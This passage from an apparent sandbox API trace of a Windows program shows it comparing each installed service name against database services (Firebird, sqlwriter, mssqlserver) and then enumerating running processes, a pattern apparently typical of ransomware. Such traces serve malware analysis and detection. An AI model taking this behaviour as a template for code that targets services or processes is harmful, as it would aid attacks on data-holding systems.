lpString2="PcaSvc") returned -1 [0128.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0128.407] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0128.407] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0128.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0128.408] lstrlenW (lpString="PlugPlay") returned 8 [0128.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0128.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0128.408] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0128.408] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0128.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0128.408] lstrlenW (lpString="Power") returned 5 [0128.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0128.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0128.408] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0128.408] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0128.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0128.408] lstrlenW (lpString="ProfSvc") returned 7 [0128.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0128.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0128.408] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0128.408] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0128.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0128.408] lstrlenW (lpString="RpcEptMapper") returned 12 [0128.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0128.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0128.408] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0128.408] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0128.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0128.408] lstrlenW (lpString="RpcSs") returned 5 [0128.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0128.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0128.408] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0128.408] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0128.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0128.408] lstrlenW (lpString="SamSs") returned 5 [0128.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0128.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0128.409] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0128.409] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0128.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0128.409] lstrlenW (lpString="Schedule") returned 8 [0128.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0128.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0128.409] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0128.409] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0128.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0128.409] lstrlenW (lpString="SENS") returned 4 [0128.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0128.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0128.409] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0128.409] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0128.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0128.410] lstrlenW (lpString="ShellHWDetection") returned 16 [0128.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0128.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0128.410] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0128.410] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0128.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0128.410] lstrlenW (lpString="Spooler") returned 7 [0128.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0128.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0128.410] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0128.410] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0128.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0128.410] lstrlenW (lpString="sppsvc") returned 6 [0128.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0128.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0128.410] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0128.410] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0128.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0128.410] lstrlenW (lpString="swprv") returned 5 [0128.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0128.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0128.410] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0128.410] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0128.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0128.410] lstrlenW (lpString="SysMain") returned 7 [0128.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0128.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0128.410] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0128.410] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0128.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0128.410] lstrlenW (lpString="Themes") returned 6 [0128.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0128.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0128.411] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0128.411] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0128.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0128.411] lstrlenW (lpString="TrkWks") returned 6 [0128.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0128.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0128.411] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0128.411] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0128.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0128.411] lstrlenW (lpString="UxSms") returned 5 [0128.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0128.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0128.411] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0128.411] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0128.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0128.411] lstrlenW (lpString="VSS") returned 3 [0128.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0128.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0128.411] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0128.411] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0128.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0128.411] lstrlenW (lpString="W32Time") returned 7 [0128.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="W32Time") returned -1 [0128.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="W32Time") returned -1 [0128.412] lstrcmpiW (lpString1="sqlwriter", lpString2="W32Time") returned -1 [0128.412] lstrcmpiW (lpString1="mssqlserver", lpString2="W32Time") returned -1 [0128.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="W32Time") returned -1 [0128.412] lstrlenW (lpString="WdiServiceHost") returned 14 [0128.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0128.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0128.412] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0128.412] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0128.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0128.412] lstrlenW (lpString="WdiSystemHost") returned 13 [0128.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0128.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0128.412] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0128.412] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0128.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0128.412] lstrlenW (lpString="WinDefend") returned 9 [0128.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0128.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0128.412] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0128.412] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0128.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0128.412] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0128.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0128.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0128.412] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0128.412] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0128.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0128.413] lstrlenW (lpString="Winmgmt") returned 7 [0128.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0128.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0128.413] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0128.413] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0128.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0128.413] lstrlenW (lpString="wscsvc") returned 6 [0128.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0128.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0128.413] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0128.413] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0128.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0128.413] lstrlenW (lpString="wuauserv") returned 8 [0128.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0128.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0128.413] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0128.413] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0128.414] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x208 [0128.451] Process32FirstW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0128.452] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0128.453] lstrlenW (lpString="System") returned 6 [0128.453] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0128.454] lstrlenW (lpString="smss.exe") returned 8 [0128.454] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0128.455] lstrlenW (lpString="csrss.exe") returned 9 [0128.455] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0128.456] lstrlenW (lpString="wininit.exe") returned 11 [0128.456] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0128.457] lstrlenW (lpString="csrss.exe") returned 9 [0128.457] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0128.458] lstrlenW (lpString="winlogon.exe") returned 12 [0128.458] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0128.459] lstrlenW (lpString="services.exe") returned 12 [0128.459] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0128.460] lstrlenW (lpString="lsass.exe") returned 9 [0128.460] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0128.460] lstrlenW (lpString="lsm.exe") returned 7 [0128.460] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.462] lstrlenW (lpString="svchost.exe") returned 11 [0128.462] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.463] lstrlenW (lpString="svchost.exe") returned 11 [0128.463] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.464] lstrlenW (lpString="svchost.exe") returned 11 [0128.464] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.464] lstrlenW (lpString="svchost.exe") returned 11 [0128.464] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.465] lstrlenW (lpString="svchost.exe") returned 11 [0128.465] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0128.466] lstrlenW (lpString="audiodg.exe") returned 11 [0128.466] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.467] lstrlenW (lpString="svchost.exe") returned 11 [0128.467] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.468] lstrlenW (lpString="svchost.exe") returned 11 [0128.468] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0128.469] lstrlenW (lpString="dwm.exe") returned 7 [0128.469] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0128.596] lstrlenW (lpString="explorer.exe") returned 12 [0128.596] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0128.597] lstrlenW (lpString="spoolsv.exe") returned 11 [0128.597] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0128.598] lstrlenW (lpString="taskhost.exe") returned 12 [0128.598] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.599] lstrlenW (lpString="svchost.exe") returned 11 [0128.599] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0128.600] lstrlenW (lpString="taskeng.exe") returned 11 [0128.600] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0128.601] lstrlenW (lpString="taskhost.exe") returned 12 [0128.601] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="fixwaves.exe")) returned 1 [0128.602] lstrlenW (lpString="fixwaves.exe") returned 12 [0128.602] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="class-file-contributors.exe")) returned 1 [0128.603] lstrlenW (lpString="class-file-contributors.exe") returned 27 [0128.603] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma-ending-office.exe")) returned 1 [0128.604] lstrlenW (lpString="soma-ending-office.exe") returned 22 [0128.604] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="monsaver.exe")) returned 1 [0128.605] lstrlenW (lpString="monsaver.exe") returned 12 [0128.605] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="dosesugar.exe")) returned 1 [0128.606] lstrlenW (lpString="dosesugar.exe") returned 13 [0128.606] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="plants-funded-stockings.exe")) returned 1 [0128.607] lstrlenW (lpString="plants-funded-stockings.exe") returned 27 [0128.607] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotchangelog.exe")) returned 1 [0128.609] lstrlenW (lpString="forgotchangelog.exe") returned 19 [0128.609] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="nonprofit top.exe")) returned 1 [0128.610] lstrlenW (lpString="nonprofit top.exe") returned 17 [0128.610] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="investigations_sciences.exe")) returned 1 [0128.615] lstrlenW (lpString="investigations_sciences.exe") returned 27 [0128.615] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused.exe")) returned 1 [0128.616] lstrlenW (lpString="accused.exe") returned 11 [0128.616] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="governance.exe")) returned 1 [0128.617] lstrlenW (lpString="governance.exe") returned 14 [0128.617] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="old.exe")) returned 1 [0128.618] lstrlenW (lpString="old.exe") returned 7 [0128.618] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="xi cg.exe")) returned 1 [0128.619] lstrlenW (lpString="xi cg.exe") returned 9 [0128.619] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="greatly-medicines-poll.exe")) returned 1 [0128.620] lstrlenW (lpString="greatly-medicines-poll.exe") returned 26 [0128.620] Process32NextW (in: hSnapshot=0x208, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, 